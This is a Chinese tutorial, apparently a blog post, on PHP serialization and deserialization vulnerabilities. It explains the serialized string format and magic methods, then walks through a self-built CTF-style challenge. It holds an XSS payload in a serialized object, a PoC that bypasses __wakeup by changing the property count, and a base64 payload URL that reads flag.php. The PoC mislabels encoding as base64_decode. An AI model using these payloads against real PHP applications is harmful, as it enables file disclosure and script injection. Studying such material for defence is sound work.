渗透测试基础——PHP 序列化数据结构与反序列化机制详解

本文深入剖析 PHP 序列化与反序列化漏洞的技术原理。内容涵盖序列化数据结构拆解、魔术方法(Magic Methods)在漏洞触发中的核心角色,并结合 flag.php 与 index.php 进行实际案例测试与绕过技巧解析。

  • 文章以客观、严谨的技术视角,协助资安研究员与开发者掌握反序列化漏洞的成因与潜在风险,适合具备 Web 安全基础的专业人员阅读。

文章目录


基本概念

一、什么是序列化与反序列化?

序列化(serialize) ,是把程序中的对象/数据,转换成可以存储或传输的字符串格式。就像把一本书压缩成一份电子文档,方便保存和传递。

反序列化(unserialize),则是这个过程的逆操作:把字符串还原成程序里的对象,让程序可以重新使用这些数据。

二、为什么会产生反序列化漏洞?

序列化本身只是一种数据格式转换,并不自带漏洞。

漏洞的根源在于:当反序列化的输入内容被用户可控时,攻击者可以构造恶意的序列化字符串,让程序还原出一个精心伪造的对象

在还原对象的过程中,程序会自动调用对象中的一些"魔术方法"(比如PHP里的__wakeup__destruct等)。如果这些方法里存在危险操作(比如执行命令、读取文件),攻击者就能通过触发这些方法,实现代码执行、文件读取甚至控制服务器的目的。

简单来说,就是用户可控的反序列化输入 + 危险的魔术方法逻辑,共同造成了安全风险。

三、漏洞的核心风险

  • 攻击者无需直接调用危险函数,只需通过反序列化触发目标对象的魔术方法,就能执行恶意逻辑;
  • 可能导致远程代码执行、任意文件读写、数据库泄露等严重后果;
  • 这类漏洞往往隐藏较深,常规的输入过滤难以防御。

序列化

这里我们给大家看看什么是序列化?

php 复制代码
<?php
class S
{
    var $test = "PhpUnserialize";

    // 构造函数:对象创建时自动调用
    function __construct()
    {
        echo "$this->test";
    }
}

# 创建一个新类
$c = new S();
# 进行序列化
$serialized = serialize($c);
echo "<hr>";
echo $serialized;

结果如下:

结构拆解

我们可以把它拆成一个层层嵌套的结构:

  • O:1:"S":1: :表示这是一个对象(Object) ,类名长度为 1,类名叫 "S",该对象里包含 1 个属性。
  • {...}:花括号里面包裹的就是这个属性的具体内容(键值对)。
  • 键(属性名)s:4:"test"; ------ 表示一个长度为 4字符串(String) ,变量名叫 "test"
  • 值(属性值)s:14:"PhpUnserialize"; ------ 表示一个长度为 14字符串(String) ,内容为 "PhpUnserialize"

序列化的属性

序列化也会把变量的属性存储到字符串⾥:

php 复制代码
<?php
class C1{
    public $public = "public_string";
    private $private="private_string";
    Protected $Protected="Protected_string";
}
$c = new C1();
echo serialize($c);
file_put_contents('ser.txt', serialize($c));

具体结果如下:

bash 复制代码
O:2:"C1":3:{s:6:"public";s:13:"public_string";s:11:"C1private";s:14:"private_string";s:12:"*Protected";s:16:"Protected_string";}

简单解释一下:

(1)O:2:"C1":Object 对象+类名长度+类名(即这是一个 C1 类对象)

(2):3:{:对象中共有 3 个成员属性

(3)s:6:"public";s:13:"public_string";:属性名(长度6):public + 属性值(长度13):public_string

(4)以此类推;

各属性显示的效果

  • var 默认就是 public 属性;
  • private\x00 类名\x00 变量名 在⽹⻚是不显示的;
  • protected \00*\00 变量名在⽹⻚上也是显示不出来符号的,默认是空⽩;

展示效果如上;


反序列化

构造恶意的序列化数据

反序列化的数据本质上来说是没有危害的,⽤户可控数据进⾏反序列化是存在危害的,反序列化的危害,关键还是在于可控或不可控。

如果 $test 对象可控,那么类在实例化的时,函数自动调用(值会传⼊ $this->test );

导致 echo 内容时,直接输出会造成 xss 漏洞

比如构造下述代码:

php 复制代码
<?php
class S{
    var $test = "<script>alert('Hello world!');</script>";
    // 构造函数:对象创建时自动调用
    function __construct(){
        echo $this->test;
    }
}
$c = new S();
echo serialize($c);

执行后得到的序列化字符串:

bash 复制代码
<script>alert('Hello world!');</script>O:1:"S":1:{s:4:"test";s:39:"<script>alert('Hello world!');</script>";}

如何造成反序列化漏洞?

接下来,我们要达成的目标:

  • 这里得到了序列化的值,想要模拟输入反序列化数据,造成xss漏洞,应该如何做呢?
  • 这里我们需要用到一些反序列化⾥的魔法函数来进行调用;

--

1. 什么是魔术方法(Magic Methods)?

在 PHP 中,魔术方法是一组以双下划线(__)开头的特殊函数 。它们不需要你手动去调用(比如不用写 $obj->__destruct()),而是在特定的时机或满足特定条件时,由 PHP 引擎自动触发执行

常见的魔术方法有:

  • __construct() 当一个对象创建时被调用
  • __destruct() 当一个对象销毁前被调用
  • __sleep() 在对象被序列化前被调用
  • __wakeup 将在反序列化之后立即被调用
  • __toString 当一个对象被当作字符串使用时被调用
  • __get(), __set()` 当调用或设置一个类及其父类方法中未定义的属性时
  • __invoke() 调用函数的方式调用一个对象时的回应方法
  • **__call__callStatic** 前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。

2. 为什么需要这些函数才能成功触发 XSS?

简单来说:因为反序列化本身只负责"还原数据",而不负责"执行代码"。

如果你把序列化字符串传给 unserialize(),PHP 只会在内存中默默地把 S 这个对象重新拼装出来,把恶意代码 <script>alert(1);</script> 赋值给 $test 变量。

3. 需要魔术方法的原因如下:

  1. 寻找"执行管道"
    在反序列化过程中,由于对象被重新创建或销毁,PHP 会自动去调用该类中的 __wakeup()__destruct()
  2. 顺藤摸瓜触发漏洞
    如果这两个自动运行的函数里刚好包含了 echoprint 或者文件包含、代码执行等敏感操作(比如我们故意写的 echo $this->test;),那么存放在变量里的恶意代码就会被顺带执行。

这里概念说的再多,也没有上手做一遍来得实在;

反序列化漏洞案例测试

首先我们手动构造一道题目,具体代码如下:

flag.php

bash 复制代码
<?php
$flag = "PHP unserialize Test,yes!";

想要直接访问,得到的是空白页面;

index.php

php 复制代码
<?php
class SoFun {
    protected $file = __FILE__;
    function __destruct() {
        if (!empty($this->file)) {
            if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
                show_source(dirname (__FILE__).'/'.$this ->file);
        } else {
            die('Wrong filename.');
        }
    }
    function __wakeup() {
        $this-> file='index.php';
    }
    public function __toString() {
        return '';
    }
}
if (!isset($_GET['file'])) {
    show_source(__FILE__);
} else {
    $file=base64_decode($_GET['file']);
    echo unserialize($file);
}
?>
  • 漏洞类型:PHP 反序列化漏洞
  • 核心考点:__wakeup() 绕过、反序列化魔术方法调用链、文件读取限制绕过

得到页面如下:

绕过方法

代码部分 作用说明 安全影响
$_GET['file'] + base64_decode() + unserialize() 接收用户可控参数,解码后直接反序列化 核心攻击入口,可构造恶意序列化数据
__destruct() 对象销毁时自动调用,拼接路径并调用 show_source() 实现文件读取的关键方法,可泄露源码
strchr($this->file,"\\\\")===false && strchr($this->file, '/')===false 禁止路径中出现 /\\ 限制目录穿越,但允许直接读取同目录文件
__wakeup() 反序列化时自动调用,强制将 $file 重置为 index.php 对直接利用造成阻碍,需绕过

漏洞梳理:

  1. 用户可控的反序列化入口:$_GET'file' 完全可控,直接传入 unserialize(),攻击者可构造任意对象。
  2. 危险魔术方法调用:__destruct() 自动触发 show_source(),实现任意同目录文件读取。
  3. __wakeup() 防护机制:反序列化时强制重置 $file,阻止直接读取 flag.php。

具体流程图如下:

  • 因为__wakeup执行的时候,固定执行index.php页面,所以这里需要绕过该函数;
    • 绕过方法:修改对象属性数量
    • 原序列化串:O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}
    • 修改后:O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}
  • 因为index.php是先将用户输入Base64解码------>反序列化;
    • 构造的poc顺序反过来即可;

poc.php代码

php 复制代码
<?php
class SoFun{
    protected $file='flag.php';
}
$obj=new SoFun();
$ser = serialize($obj);
echo $ser; # O:5:"SoFun":1:{s:7:" * file";s:8:"flag.php";}

# 修改属性数量,绕过wakeup
$ser = str_replace('O:5:"SoFun":1:','O:5:"SoFun":2:',$ser);
echo base64_decode($ser);

得到结果:

bash 复制代码
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

随后回到index.php,输入如下payload:/index.php/?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

成功得到结果:

总结

本文深入剖析 PHP 序列化与反序列化漏洞的技术原理。内容涵盖序列化数据结构拆解、魔术方法(Magic Methods)在漏洞触发中的核心角色,并结合 flag.php 与 index.php 进行实际案例测试与绕过技巧解析。

文章以客观、严谨的技术视角,协助资安研究员与开发者掌握反序列化漏洞的成因与潜在风险,适合具备 Web 安全基础的专业人员阅读。

相关推荐
一个儒雅随和的男子1 小时前
限流算法详细剖析
java·服务器·算法
myenjoy_11 小时前
采集网关的离线缓存与断点续传——当网络不可靠时,数据一条都不能丢
网络·缓存
AC赳赳老秦1 小时前
用 OpenClaw 制定技术学习计划:根据目标岗位自动生成学习路线、推荐学习资源
开发语言·c++·人工智能·python·mysql·php·openclaw
周杰伦fans1 小时前
AutoCAD2016经典模式不见了-设置回14版本前的经典工作空间
服务器·c语言·前端
鼎讯信通1 小时前
高性能射频信号模块 全方位守护能源设备稳定运行与高效检测
服务器·人工智能·能源
超级无敌zhq1 小时前
内网横向移动实战:从单点攻破到域控沦陷
网络·安全·web安全·网络安全
你是个什么橙2 小时前
Linux 远程桌面访问和管理——VNC服务器
linux·运维·服务器
nhfc992 小时前
whisper.cpp编译
linux·运维·服务器
故渊at2 小时前
第二板块:Android 四大组件标准化学理 | 第十一篇:组件间通信(IPC)与 Binder 深度解析
android·binder·组件化·组件间通信